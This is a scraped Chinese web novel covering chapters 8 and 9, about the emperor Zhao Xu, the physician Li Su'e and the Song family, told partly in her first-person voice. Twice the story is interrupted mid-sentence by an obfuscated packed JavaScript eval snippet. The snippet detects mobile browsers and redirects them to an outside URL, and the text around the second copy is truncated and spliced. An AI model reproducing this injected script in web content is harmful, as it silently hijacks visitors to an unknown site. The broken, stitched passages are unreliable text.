虽然饱学之士常骂新学乃乱国之源,可稍微有脑子的人都清楚,如果没有新学,大周也许早就亡国了。 先帝登基以来,用尽手段试图收取全国的商税,可税没收上来,八个孩子却离奇死去,自己还落了水,若不是为姜侯爷所救,就随自己的八个孩子一块儿去了。 自从有了姜侯爷,收税变得轻易而举起来。因为姜氏生产的产品便宜又好用,挤兑的大周境内手工业纷纷破产,几乎垄断了大周的商品生产,先帝只需向姜侯爷征税即可。 靠着姜侯爷的财源支持,先帝重新整顿了亲军,从而政令得以出宫,度过了层出不穷的危机。 眼馋姜侯爷的成功,世人纷纷效仿,投身“新学”,妄图分一杯羹,可画虎不成反类犬,灰头土脸地退出“新学”,只能含恨当个二道贩子。 故此,十年间,姜氏“新学”一家独大。 直至泰和二十年,辽东李家异军突起。 李家从便宜有效的新药发家,由于其中所涉理念,生产经营模式,与“新学”殊途同归,具有标准化,大量生产的特性,又因医学理念迥然于世上的医术流派,世人称其为“新医”。 尝到“新医”的甜头后,李家又进军“农、牧”行业,最终形成了以“医、农、牧”为主的“东仁”作坊群。 李家破亡之前,辽东李家作坊群的营利虽然远低于姜氏,可明眼人都知道它的潜力并不低于姜氏的“大周”作坊群。 事实上也却是如此。 清理完辽东“欠税案”后,赵旭将“东仁”作坊群拆成九块,将其中八块分别迁入其他八边重镇。 作坊群落地后,立即开足马力生产,除却分别上缴京城和当地官府的重税,仅剩的三成盈余就可以负担起重镇全年的军饷。同时随着作坊群的到来,商业贸易立刻繁荣起来,当地百姓受益无穷。 它的巨大经济效益,即便视“新学”为乱国之源的顽固保守大儒,也希望自己所辖之地可以迁移一个李家作坊群过去…… “新学”虽然在世人眼中离经叛道,可它以前所未有的实力和活力堵住了天下悠悠众口,直至姜侯爷暴毙以及李素基自刎,新学的獠牙也开始显露出来。 他二人各自去世的当年,江浙和辽东两个“新学”大本营先后爆发了“侵吞案”和“欠税案”,依靠强大的生产力,武装对抗京城收税官,试图分裂自立,造成百姓流离失所,天下动荡。 更加雪上加霜的是,“新学”开始停滞不前。“姜氏新学”不再有新奇实用的物品面世,“李氏新医”特效药研发受阻,全部吃着以前的老本。 南姜北李领头人物的离去,仿佛也带走了“新学”的灵魂。 因“新学”的停滞和两次震动,天下有识之人开始纷纷反思“新学”的利弊。 由于对“新学”的不同态度,诞生了“反对派”、“温和派”、“发展派”三个派系。 反对派认定“新学”与民争利,动摇国本,危害极大,主张消灭“新学”,回到过去。 温和派认为“新学”思想危险,应当禁止传播,但其造物物美价廉,早已融入百姓生活,不可一刀切,只是作坊一定要掌握在朝廷手中,收取重税,用之于民。 发展派则咬定“新学”才是帝国万世基业,“新学”之所以造成危害,恰恰是因为发展得太慢,无法做大蛋糕,建议引入民间资本,加大研发。 “新学”的前途如今全在赵旭的一念之间,可他却态度暧昧,后续对“新学”一系列的举动,更令人摸不清他真正的想法。 按理说,江浙和辽东事件应属于“造反”的范畴。赵旭却大事化小,按贪污和欠税从轻发落,仅仅重处了一些头目人物,不曾动摇“新学”根基,似有不计前嫌之意。 可他又把江浙和辽东的作坊群进行拆分,核心的研发作坊全部迁入京城,其他生产型作坊分别迁入不同的州府,严禁私自研究“新学”和开设二十人以上的私人作坊。 赵旭若有心尊“新学”,待李素娥自然不一般的。 郭莱已从霍良那里得知——“周芍”表面上看是一个神医,背后其实是一个“新医”组织,里面有一群深受“新学”影响的大夫,共同支撑着“天下第一神医”的名号。 李素娥则是其中的核心人物。之所以声名不显,乃是李素基为了保护亲妹子,故意混淆世人目光,以为她仅是“周芍”身边一个骄纵任性的徒弟罢了。 因“毒害先帝案”爆发,世人才知晓身怀异术之人并非天下第一神医“周芍”,而是隐藏在李素基光环之下的李素娥。 李素娥虽失去了入微之术,又声名狼藉,可不知为何李氏旧部很维护她,就连霍良这个早已跟李家公开决裂的老狐狸都暗中关照她。 至于其他方面,郭莱一开始并未往别处想。 毕竟赵旭喜好美人,身边之人个个容貌过人,就连近卫都挑高大英武的,相貌平平者根本近不了他的身。 其实赵旭过去没有“以貌取人”到如此地步,李素基和刘吉相貌就很普通。二人虽其貌不扬,赵旭却委以重任,结果他们全部辜负了他。 自那以后,赵旭身侧便容不得相貌平庸之辈,大约觉得既然人心不可测,还不如挑好看的,至少养眼…… 而李素娥的容貌,与李家一脉相承,平平无奇。 以郭莱对赵旭的了解,凭李素娥的姿色,连赵旭身边的宫女都混不上。 何况每就诊一次,赵旭对从李素娥的评价自动降低一层,什么贪财好色、胆小怕事、阴阳怪气、好逸恶劳、被害妄想症云云……在他的嘴里,李素娥从头到脚好像有着数不完的毛病。 诡异的是,赵旭一边挑着李素娥的毛病,一边隔三差五送上门去当“肥羊”,而且有越来越频繁的趋势,爱财如命的李素娥都不好意思痛宰他们了,主动要求降低诊费…… 看着行为矛盾的赵旭,又想了想相貌平平的李素娥,郭莱摸不准他的态度,想旁敲侧击是否是自己想的那个“不一般。 “圣上,李大姐的相公宋大——” “宋珩跟她早就没了关系。”刚说了一个开头,赵旭面上闪过一丝不虞之色,径直打断了他:“今后朕不想再听到李大姐相公这种胡话。” 郭莱直觉反应:“不可能!” 先不说李素娥至今居住宋府,宋家也从未露出任何二人和离的风声。 赵旭没有理会郭莱,神情恢复了漠然之色,继续道:“朕登基那年,宋珩便已写下了休书。” 郭莱目瞪口呆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730422|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽说早知道李素娥的不在乎面皮,可未免也太厚了些。要知道她平时遇到点儿芝麻小事,便紧急抬出自己宋珩夫人,宋琛弟媳的头衔,将狐假虎威发挥地淋漓尽致,不肯吃半点儿亏。 好歹也是“新学”的一面活招牌啊,李大姐你的骨头能不能稍微硬一点! “她并不知情,休书一直李素基手上,当年搜查李家故居之际,翻出来的。” 赵旭似乎看穿了郭莱的想法,罕见地为其解释:“那段时间,他兄妹二人发生了激烈的争执,她的性情愈加失控,李素基估计怕再刺激到她,所以将休书藏了起来,大概想等到她心绪平复,再拿出来,只是——” 郭莱明白赵旭的未尽之言,只是没能等到李素娥恢复正常,李素基便自杀了。 也不知这对兄妹究竟发生了什么矛盾,竟隔阂至此,近两年时间都未和解。 传闻中兄妹二人的感情是极好的。 当年宋珩与“孀居”的表妹林思苑旧情复燃,气得李素娥滑掉了八个月大的胎儿。李素基听闻此事后,带人直接闯入宋府,将林思苑掳走,百般折磨,逼得林思苑上吊自尽,差点闹出人命。 这个林思苑可不是一般的“寡妇”,她过世的丈夫便是“新学”的领军人物姜侯爷。 生前姜侯爷深爱林思苑,顶着先帝的怒火将其从教司坊救出,甚至为她不惜与发妻和离。 当年林思苑城外难产濒死,姜侯爷又掏空了半个侯府,才求得李素娥出手相救。不过可惜的是,姜侯爷付出了那般大的代价,也只保住了大人,否则也不至于绝后,受宵小嘲弄。 姜侯爷忽然暴毙,膝下无子,身后庞大的财富引来族人觊觎。赵旭以新学有“夫死妻继”之俗,做主将姜侯爷的全部家财,赐给了他的遗孀林思苑,没让其族人占到半分便宜。 而赵旭之所以对她格外关照,除了她是姜侯爷的爱妻之外,大概还因为林思苑也是姜侯爷的得意弟子,相传姜侯爷毕生所学都交给了她。 哪怕林思苑改嫁,白璧微瑕,姜氏旧部也对其十分信服,可谓于新学中影响力巨大,不输李素娥。 可李素基为了妹妹全然不顾了,宁肯得罪赵旭,冒着跟姜氏旧部的再打一仗的危险,也要为妹妹出一口恶气。 李氏兄妹和姜侯爷夫妇之间的恩怨情仇,郭莱无暇理会,在确认了赵旭对李素娥的心意后,他待李素娥更加慎重起来。 只是李素娥跟赵旭一样,是个重度颜控,关注郭莱多过赵旭,时不时的盯着他出神傻笑,似有吃嫩草的意图。 赵旭的神情也随着李素娥如狼似虎的目光越来越不善。 唉,长相过于俊俏也非全然好事,虽得了圣上的青眼,也引来了烂桃花! 郭莱感叹一番,躲过李素娥的炙热目光,拱手强笑道:“多谢韩医师关心。近来家中为我议了一门亲事,各方面都需要打点,一直没顾上休息,所以最近精神头不好,让您见笑了。” 他得赶紧打消李大姐的痴心妄想,定亲是个不错的理由。 李素娥听闻郭莱要成亲,不可置信地在“九爷”和“小菜”脸上来回扫射,发现二人均是一脸坦荡,脸上根本没有半点儿爱恨情仇的模样,眼中闪过一阵明显的失望。 看来她再一次站错了CP。 上一次她站得CP是宋琛和汪静,不同于“九爷”跟“小蔡”的小甜剧,他俩走得是相爱相杀的虐恋剧本,被他二人的老婆联手捶了一顿后,才保证再也不胡乱想入非非了…… 惋惜地摇摇头,李素娥才将目光落到赵旭身上,只见赵旭神清气爽,萎靡之色一扫而空,脸色比半年前好多了,有了年轻人的朝气,不由满意地点点了头。 “九爷,你的失眠想来有了很大的改善,身体元气也恢复了许多。你要放宽心思,凡事看开些,万不可再服用金丹烈酒之流。。” 赵旭正要答谢,只听李素娥又道:“谢谢九爷半年以来的照顾,今后恐怕不能再赚九爷的元宝了。我已决定金盆洗手,不会再行医了。九爷非常人,若身体再有不适,可以延请东仁医馆的周芍和太医院的霍良,他二人新医造诣极高,不在我之下。” 赵旭面露惊愕:“发生什么事了,韩医师为何不再行医了,莫非有人为难?” 8. 第八章 敌意 “原来是他。”我不禁咬牙:“赵爷、九爷不就是——哼”。 当今天子属“日”字辈,他又排行老九,因此取名赵旭,有旭日东升之意。 说起来赵旭还是我在倚翠街的第一个男患者。 景化四年,初到倚翠街行医时,大约碍于男女授受不亲,亦或不信任我的医术,因此我只有女患者。直到赵旭自称“赵爷”,大大咧咧地请我看诊。 那时他模样大变,我并未认出他就是与我渊源甚深的赵旭。通过几次接触,只觉得此人外表青涩,却极好装老成。 我估计他怕人欺他年轻,喜欢强调自己已经成熟了,绝非好糊弄的。 这是他的性格喜好,我管不着。只是他虽财大气粗,但态度嚣张傲慢,不遵医嘱,各种不要命地胡来作死。 我那时还不太能控制情绪,便大骂其不要命,没救了,等死吧,告辞云云。 “赵爷,你昨晚又潇洒了个通宵达旦吧。”我看着他惨白发青的脸色,极为头疼道:“我说过多少次了,不能仗着年轻胡来,你的身子外强中干,很容易猝死的。” 赵旭半阖着眼,打了个哈欠,听我说他外强中干,罕见地没有反应。要搁之前,早就像被踩中尾巴的猫一般跳起来,现场打一套王八拳以证实自己“爷好着呢”。 “赵爷,你再这般折腾下去,我只能素质三连了……”我见他混不在意的模样,十分生气,继续抱怨。 他是我化名以来的第一个男患者,若是能治好他,就能打响招牌,今后便能赚男人的钱了。 在这个时代,我一直认为男人的钱比女人的钱好赚得多,毕竟男子掌握经济大权,比起花在女人身上,更愿意花在自己身上,特别是性命攸关之时。 “爷并非胡来,是气得一夜未眠。族中长辈打着为了祖宗基业的旗号,要把他们的孙辈硬塞给我做儿子!不就没孩子么,可爷今年不过二十二,凭什么断定爷不能有儿子……” 赵旭通宵未眠,精神有些涣散,大概听我絮叨得头痛,一时不察将自己的底泄露个一干二净,见我神色囧囧地盯着他,青白交加的脸上立刻浮出几缕红云,掩耳盗铃般炮轰自己的女人:“都怪家中那帮娘们不争气,害爷受如此侮辱。” 此人性情刁钻恶劣,我早就想赶走他了,无奈他实在给得太多了…… 听到如此劲爆的消息,不由地起了小九九,想多捞一笔,轻咳两声询问道:“赵爷,恕我直言,你成亲多少年了,家中妻妾几何?” “韩医师,此话是何意?”赵旭闻言,脸色猛得由红转黑,咬牙切齿道,不等我回答,又大义凛然道:“爷只是忘情公事,不好女色罢了。” 犹记得为赵旭第一次问诊时的情景:虽然他支支吾吾,言语也有所不实,可我还是从他透漏的只言片语中,比如无节制地服用助兴金丹,大致拼凑出他身体亏空的原因,心中默默为他打上了标签:疑似因酒色掏空身体的纨绔子弟。 大概见我不怎么信,他恼羞成怒,“韩医师万事不可擅自推断,譬如韩医师在这烟花柳巷行医,与烟花女子来往甚密,时人皆言你不是正经女子,可爷从来不偏信,何曾怀疑过你的品格?” “烟花之地怎么了?还有你问问这条街的女子,是谁让她们流落到这里的,如果她们有的选,你以为她们不想干干净净的做人吗!” 我听了他的话更生气了,倚翠街乃是京城最大的销金窟,里面的女子大多乃是犯官之后,也有个别是父母卖来的,总之没有一个女子是游手好闲,贪图享乐甘愿到此的,都是可怜人。 姓赵的一个花眠柳宿的浪荡子,还有脸瞧不起这些可怜女子。 赵旭不甘示弱,意有所指道:“说得好,她们是没得选,你不问问她们的父辈做了什么,就比如说如今的花魁赛雪姑娘,她父亲原本辽东卫所世袭千户,家族历代深受皇恩,却勾结后汉,意图叛国谋反。如若是辽东落入那群蛮子手中,又有多少无辜女子要为奴为婢,受尽屈辱。” 我看着赵旭心底起了些怀疑,赛雪之父乃是老爹的部下,赛雪也是我的挚友,好端端地怎会提起了她? “赛雪的父兄已伏诛,罪不及子孙,何况即便要为她的父兄赎罪,方式千千万万,为何偏要如此折辱女子。” 赵旭大概见我气焰弱了些,慵懒地往椅背依靠,两手一摊,看起来就像个温和无害的公子哥,说出的话却是那么的冷酷无情:“她们一群养尊处优的女子,十指不沾阳春水,除了一身皮肉之外,实不知她们还有什么拿得出手。” 他巧言善辩,兼之歪理众多,堵得我一句话也说不出,眼见围观之人越来越多,再和他扯下去,就被他带到沟里去了。 此地女子本就可怜,若因我跟赵旭口舌之争,再连累了此地的女子,罪过就大了。 我故意戳他痛脚:“你少在这里东拉西扯,我用得着你证明的我品格么?你成婚多年,姬妾众多,生不出孩子是明摆着的事实,谁见过我跟男人亲亲我我了。” “究竟是谁在东拉西扯,明明是你非要……”赵旭似乎被戳中心事,火烧了屁股一样,猛地从椅子上跳了起来。 “得了吧,明明是你不育,偏偏把锅扣到女人的头上,怪不得对女子这么大的恶意。” 我直接打断他,胡搅蛮缠谁不会啊! 大概听到众人窃笑,仿佛认定他不育后,他脸憋得通红,梗着脖子道:“武帝二十九岁才得人生第一女,爷年方二十二,有的是机会!” “你和武帝情况一样么,人家独宠废后陈阿娇。” “韩医师怎能断定,我为何不能是武帝那般,为了倾慕的女子守身如玉?”赵旭听了我的嘲笑,没有发怒,反而深深地看了我一眼,语气变得莫名温柔起来。 我鄙夷:就你这副被酒色侵染的身子,也好意思说自己守身如玉? 话刚到嘴边,人群中有人怪声怪气道:“赵爷您可不是那种人,这倚翠街谁还不知道您啊,今日赛雪,前日欺霜~” 围观之人哄堂大笑。 “阿慎,抓出此人,爷倒要看看,他有几个脑袋敢造爷的谣!”赵旭顿时脸黑如锅,额头青筋毕现,但他却硬生生地压住了火气,冷静地吩咐身后的名叫阿慎的随从。 “阿慎”恭敬领命,走到门外重重拍掌,一队身着黑衣,脸戴银色面具之人迅速从各个角落现出。 在此之前,我从来没有注意到倚翠街里竟然藏了这样一群人。 他们一言不发,训练有素地将看热闹的人团团围住,引得众人惊慌不已。 我的心猛然揪起,暗想:丫的,这姓赵的什么来头,莫不是个宗室,二十二岁的宗室会是谁呢,也不知宋琛的面子管不管用? 不过应该有些作用,毕竟他近来深得皇帝信任,前不久才升任锦衣卫指挥使。 正这么乐观地想着,看着赵旭阴云密布的脸,不知为何突然想到了去年在诏狱的日子,一瞬间仿佛有大恐惧攫取了我的心,抑制不住地颤抖起来。 “韩医师,你怎么了?”赵旭大概注意到我的异样,三两步来到我的身前。 我惊骇地后退两步,抖着嗓子低声道:“赵爷,贱妾其实乃锦衣卫指挥使宋琛的弟媳李素娥,此事皆因我贪图你的诊费而起,外面之人是无辜的,还望您大人有大量,饶他们一回。至于贱妾,也希望您看在贱妾还算尽心尽力的份儿上,高抬贵手。” “李娘子,对不住,是我疏忽了,让你受惊了。”大概宋琛的名头起了作用,赵旭沉默了一会儿,对我说了这么一句后,径直走到黑衣人之前,手微微扬起。 黑衣人立刻领会了他的意思,立刻开了一条口子,围观之人也不敢看热闹了,一刻不停匆匆离去。 赵旭回头看了我一眼,迈着大步离开了,名为“阿慎”的随从紧随其后,黑衣人也如潮水般退去。 宋琛听闻此事后,专门跑来警告过我:行事莫要太高调,脾气稍微克制一些。 虽然我一直装聋作哑,但长期在这种混乱地带出没,从没遇到过任何纠纷和危险,自然不是运气好,大家不过看在宋琛的份上,给我几分薄面罢了。 我自然不好拂了他的面子,也因为“赵爷”事件,吃一堑长一智,从那以后我口不择言的火爆性子才收敛起来。 至于“赵爷”后来又来找过我几次,态度虽有些收敛,但我仗着有宋琛撑腰,直言神仙难救,让其滚蛋了。 过了一年后,大约身体衰败得厉害,他又化名“九爷”,再次找我求诊。 不过快一年没见,那时我的面盲之症还很严重,我早已将他的相貌抛之脑后,只依稀记得有个自称赵爷的玩意来头不小,性情却刁钻得很…… 其实我听他自称“九爷”时,就该猜出赵旭的身份,赵爷、九爷暗示得十分明显了。 可“九爷”跟“赵爷”除了病情相类出手豪横两点,其他作风大相径庭,若不是今天这一出,我压根儿没将两人联想到一块去。 我呸,还因心事重才饮酒嗑药,“赵爷”可不是那么说的! 宋琛听了我的话后,瞥了我一眼:“看来弟妹终于想起什么了。” 我眯眼看向他:“大哥,明知道我跟他的渊源,竟然也不提醒我,莫不是怕我会草菅人命,拖累宋家。” 宋琛摇摇头,意有所指道:“以我对弟妹的了解,草菅人命倒不至于,袖手旁观却做得出来。” 我哑口无言,也许那时我已经隐隐猜出了赵旭的身份,可是我见他态度好,故意推诿,不肯再出力。 要不然我便将“蒙汗药”的方子给“赵爷”了。 宋琛直言不讳,继续道“弟妹的医术天下无双,我自然寄希望你能治好圣上。弟妹不要怪我,圣上对我有再造之恩,我如今的权力、地位皆来自于他。无论如何,我都希望圣上身体康健,长命百岁。” 合着李家的尸体不够你们吃的,还要往我这个废物身上再榨二两油,真真好算盘! 望着宋琛冷峻的侧脸,我心底冷笑:李素基、刘吉当年哪个不跟赵旭蜜里调油,他用不着你的时候,你就知道什么叫狡兔死走狗烹了。 宋琛身高腿长,走得极快,我自然追得艰难,一路过来,累得跟个死狗一样,在看到宋家门口两排明亮的大灯笼后,心中长舒一口:可算是回来了。 只是门口石狮子中央堵着一个风姿绰约的盛装少妇,鹅蛋脸,细浓眉毛,杏仁大眼,高鼻梁,唇似绽桃,夜风吹过,衣袂蹁跹,恍若神仙妃子。 她正是宋琛的妻子,我的大嫂,徐有凰。 宋琛与徐有凰成亲比我跟宋珩早一年,十一年了过去了,两人的感情依旧特别深厚。 宋琛经常早出晚归,徐有凰无论多早必然门后相送,无论多晚必然门前相迎,寒冬酷暑从无间断。 宋琛也并未辜负这份深情。二人成亲多年,徐有凰一直未诞下一儿半女,宋老爷和王氏对此很不满,有意替他纳房小妾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听着她仿若抓“小三”的质问口气,我无奈摊手:“大嫂,只是个意外罢了。你就算信不过我,难道大哥也不信了?” 徐有凰冷哼一声:“你不一样。” 我更加无奈了。 为何徐有凰跟防贼似的防我,这还要从宋家和李家的渊源说起。 二十多年前,老爹还未发迹,因着和宋老爷是同乡的缘故,客居宋家混饭吃,给宋琛和宋珩两兄弟当师傅,教他二人一些拳脚功夫。 后来因缘际会之下,老爹投身军中,短短十年间,屡建奇功,职位上也是一升再升,把宋老爷甩得远远的。 来京城前,老爹已是大将军。 来到京城后,老爹转职成为了兵部尚书。 宋老爷官途还算顺利,从江南沿海地区混到了京城,但也只是吏部五品员外郎,足足低了我爹三级,完全没法比。 我爹感念当年宋家的恩情,有心报答。 宋老爷也欲攀上我家这棵大树。 刚好李家有我这个不成器的女儿,宋家的儿子声名在外,其实主要是宋珩比较出众,带得宋琛也成了丈母娘眼里的香饽饽。 宋李两家商量一番,就想结成通家之好。 宋家有两个儿子,碍于李家家世,宋琛和宋珩那是随我挑。 虽然宋珩名满京城,是丈母娘眼里的香饽饽,但我老爹火眼金睛瞧中了宋琛,理由如下:宋琛出身书香门第,却能够壮士断腕,弃文从武。可见他是个有主意的。况且其性格沉稳,做事脚踏实地,是个有担当的好孩子。 简单来说,老爹当时就看中了宋琛身上两点:主见跟担当,认为嫁给他,吃不了亏。 可怜天下一片父母心,老爹不求我嫁得风光,只盼我能幸福快乐一生,哪怕他知道我只是个占了他女儿身躯的孤魂野鬼。 老娘却持反对意见,认为宋珩才华横溢,为人情深意重,长相自然更不用说了,丰神俊秀,京城一等一的美少年。最重要的是,他还曾是姜侯爷的高徒,精通新学之道,跟我有共同语言,不用磨合…… 不怪我老娘当时势利眼,论表面数据,宋珩真的比宋琛强多了。 平日里老爹对老娘百依百顺,可在这件事上却说一不二,任老娘说破嘴皮子,始终没瞧上宋珩。宋家也极力促成我跟宋琛的姻缘,认为宋珩今后必成大器,配我委实可惜了。 根据宋琛、宋珩后来的表现来看,我不得不承认男人看男人的眼光,确实有独到之处。 老爹眼光虽老辣,但架不住宋琛太有主见、太有担当。 我跟宋琛定婚不久,宋琛突然表示他爱上了徐有凰,铁了心要娶她为妻,还搞得人尽皆知。 宋老爷乍闻此事又惊又怒,将宋琛打了个半死。 毕竟是亲儿子,不可能真的打死。在宋琛的宁死不屈之下,宋老爷连道了几声家门不幸后,只得遂了宋琛的意。 虽说感情一事不能勉强,可论起来,徐有凰挺不厚道的。 我们那时好歹相识七年,可徐有凰一声不响地就撬走了我的未婚夫。更令人不能接受的是,她毫无愧疚之心,反而还一直对我夹枪带棒的。 按理说,她对不住我,我该对她冷言冷语才对,没想到她倒毫不心虚地抖起来了,活像我撬了她的未婚夫。 最初我以为我和宋琛的婚约是她心中的一根刺。直至听了出“美人救英雄,英雄以身相许”的戏码,我终于弄明白她的敌意从何而来。 9. 第九章 救人 宋琛跟徐有凰的情缘起源于一场美人救英雄。 当年宋琛在执行任务之际受了伤,为徐有凰所救。 在相处过程中,宋琛被徐有凰的善良所感动,对徐有凰产生了情愫,徐有凰也对宋琛芳心暗许。 我初闻此事儿,不由戏谑道:“救命之恩,以身相许啊!你说这大嫂要是长得像我这样儿,大哥还会不会以身相许?” 身边儿的小丫鬟鄙视地白了我一眼,“大爷才不是这样的人。那时大爷眼睛根本就看不见,哪能知道大奶奶长什么样子。大爷可不是图得大奶奶的样貌,而是大奶奶这个人!” 我挑挑眉,“哦,原来当时眼瞎了啊,看来还真是图人啊!” 小丫鬟更激动了,“大奶奶是个好姑娘,救了大爷,没有透露名字,就离开了。幸亏大爷聪慧,送给大奶奶一块儿玉佩作药费。那玉佩上面掺着夜相引,大爷凭此追踪到了大奶奶。” 这桩姻缘老套又狗血。 更老套和狗血的是,其实当时是我救的宋琛! 那一日我不光救了宋琛,还救了赵旭和汪静。 每每想起那日,我恨不得剁掉自己的双手! 泰和二十六年,年仅十五岁的赵旭因不满先帝为其精心挑选的皇后,在订婚当日孤身逃跑了。 先帝察觉太子失踪后,派东厂、西厂、锦衣卫暗中搜寻,命他们毫发无损地带回太子。 三个特务机构的头子接到密旨后,面露兴奋,继而两两相看,互生警惕,皆在心里憋着大招定要先于另外两位同仁带回赵旭。 之所以如此,因为三个机构的职能重叠,都对皇帝负责并且直接听命于皇帝,谁的权力更大全看皇帝更信任哪个机构。 因姜侯爷之故,先帝起初最信任锦衣卫,直至西厂后来居上。 东厂由于从未得到过先帝的看重,屎都吃不上热乎的,先后被锦衣卫和西厂压得喘不过气来,过得十分窝囊。 可赵旭的失踪却是一个新的机会。 先帝本来共有九个儿女,只是在赵旭出生之前,全部离奇地死去。赵旭成了先帝唯一独苗,铁板钉钉未来大统继承人,待他继位后,三个机构将重回同一起跑线。 谁若能取得未来皇帝的信任,谁就能脱颖而出力压其他两大机构。 而此时赵旭年龄小,感情充沛,如今孤身在外,正是容易建立好感的时候。 事关今后吃肉还是吃糠,三大机构从上到下,卯足了劲儿想抢占先机。 西厂资源丰富,锦衣卫底蕴深厚,西厂和锦衣卫几乎在同一时间知道了赵旭的藏身之所。 二者的反应速度也相当快,皆有一小队同时赶往赵旭所在的大昭寺,最终两路人马在距大昭寺外不远的小树林狭路相逢。 为了拨得头筹,双方互不相让,最后干脆以刀剑说话。双方出来的都是精英小队,实力相近,又杀红了眼,两队人马几乎全军覆没,白白便宜了落在后面的东厂。 我刚巧救了赵旭,结果被他倒打一耙,好生体会了一把被碰瓷的心酸。 那时的赵旭身量不高,比我还矮半个头,生得倒是红唇齿白,只是面目骄横,又带着股不耐之意,看着十分讨嫌。 虽说想要替他爹娘好好教育一顿这不识好歹的小屁孩,但见他衣着华贵,姿态傲慢,担心其来头不小,怕给家中惹下祸事,最终忍下了这一口气。 恰巧东厂的刘吉带人来寻赵旭,我才知道眼前趾高气扬的小屁孩就是太子赵旭。 赵旭无法赖掉我救了他,思索了半天,语出惊人:“你我二人既然有了肌肤之亲……” 这都是什么虎狼之词,只是人工呼吸而已,你祖宗赵嘉仪八百年前就已经普及过了好吧! 我听他有以身相许的苗头,浑身不禁打了个寒颤,且不说我能否做到对小孩下手,死后也无颜见赵嘉仪啊。 “本宫便许你个良娣的位置。嗯——你那什么眼神,莫非还想当太子妃?”刚想打消他可怕的念头,赵旭却抢先一步,见我面露嫌弃,鄙夷道:“莫要妄想了,以你的姿色,能成为本宫的良娣,已是祖上积德了,知足吧。” 由于我初到京城,还未感受到皇权的压迫,不知道其实太子良娣还算个不错的位置,至少比宋珩正妻之名强多了…… 当时只觉得救命之恩,却以小妾之位相报,皇家的报答方式果真别出心裁,涨姿势了! 我又气又囧,不想与他做无畏纠缠,找了个理由,假意要去跟家人道别,请他到正殿等我。 赵旭大概觉得无人能抗拒太子良娣的诱惑,挥挥手就让我走了,也未曾派人跟着我。 离开他们的视线后,我立刻偷了身香客衣裳换上,稍稍乔装一番,溜到大昭寺后山,随意找了个角落一蹲,躲了起来。 约莫过了半个时辰,我远远瞧见,换了身衣服的赵旭,气急败坏地从大昭寺出来。 我仗着异能在手,和赵旭的狗腿子玩起了躲猫猫,每次察觉到他们的动静,便提前悄悄躲开。 赵旭一行人搜了半天,找不到我,只得放弃,往回城的方向疾驰而去。 我待他们走后,也沿着他们的方向,慢慢往京城赶,路过一片小树林时,我闻到了一股血腥味儿。 正疑惑间,瞧见徐有凰的家丁驾着马车慌不择路地逃跑,我本想搭个顺风车,马车跑得太快了,没追上。 其实我也不想多管闲事,可谁让我好奇往小树林里多瞅了一眼。 我的金手指尚在,五感强得出奇,稍稍集中了一下精神,就知道里面那堆尸体里有两个活口,再不及时施救,这两人过不了多久就会死在这荒郊野岭。 在经过一番思想斗争之后,终究做不到见死不救。 两个活口的身体素质极佳,那般重的伤,救治不久,便先后醒来。 太监伤得重些,却率先醒来,不顾自己重伤在身,挣扎着起身提刀,欲结果了锦衣卫。 先不说我好不容易才救回了锦衣卫,就凭我跟宋珩的交情,我也不能让太监得逞。 那时我跟宋珩已有过数面之缘,因同为天涯沦落人的缘故,我俩还颇为熟稔。 我虽与宋琛素未谋面,但他兄弟二人简直一个模子刻出来的,所以我一眼就认出了宋琛。 太监激动之下,伤口崩裂,又见我护着宋琛,只好作罢。由于伤势加重,他动弹不得,半躺在树下恢复体力,我为他包扎时,伤口骇人,血流不止。 他以为自己快死了,或许心有不甘,诉说起了他的来历。 通过他的自言自语,我得知了眼前这个外表秀美,性情凶狠的太监姓汪名静,西厂的无名小卒,父母早已过世,也无亲人在世,只和西厂的同僚有些交情,不过都死在了这场火拼中,有个姓宋的狗东西出手最狠…… 那时我落了一遭水,受了些风,清涕不止,嗓子红肿,本不想多言。 只是我的金手指虽然好用,可用久了,有些副作用,其中最令人头疼的便是精神失常,时常控制不了情绪。 他们二人伤得极重,为他们手术之时,心神一刻不敢放松。 大概入微之术用得太过了,我脑子里嗡嗡作响,汪静又在一边哼哼唧唧,吵得我脑子愈加混乱,心头一股无名之火涌起:“够了,你能不能闭嘴,快死的人,哪有力气说这么多……” …… 宋琛伤在脑部,醒来后双目失明,心情极度低落颓唐。 有了汪静的前车之鉴,怕他也唠叨,我言简意赅:“不必担心,淤血化后,过两天就好了。” 宋琛大约听出我只是个小姑娘,并不怎么相信,勉强打起精神跟我道谢。 汪静见状心情大好,得意忘形起来,大概他已经确认自己死不了,而宋琛的眼睛能不能恢复还是两说…… 听到汪静的嘲笑,宋琛这才意识到汪静也活着,神情顿时锐利起来,一改颓废之色,做出了和汪静一样的选择,摸索着要砍死汪静,还不忘对我辩解:别看汪静一副女人样,可他为人阴险毒辣,我的兄弟们大多死于这个娘娘腔手中…… 当然也被我制止了,头疼不已地嘀咕:淦,我到底救了两个啥人啊! 我精神好些后,提议将他们送到大昭寺里面去。 两人生怕遭了对方的暗算,都不去。 最终几经讨论,决定宋琛背着汪静,由我带路,先回到内城,到时再作打算。 到达城门口时,我发现有许多身披甲胄的将士堵在城门,几个面白无须的阴柔男子如拉牲口一般,粗鲁地将进城的女子扯到一个少年身前,全然不顾在场百姓的口舌。 我侧着耳朵听了一会儿,得知赵旭这伙人已经在此肆虐了两个多时辰了,只为抓逃跑的小妾…… 正想开溜,无奈东厂的太监们眼神十分利索,刚好瞅见了形容凄惨的宋琛跟汪静,嘿嘿笑着迎了上来,将我们团团围住,大肆奚落。 “哟,这不是宋百户跟汪公公么,两位武艺高强,能力出众,怎么弄得如此凄惨……” 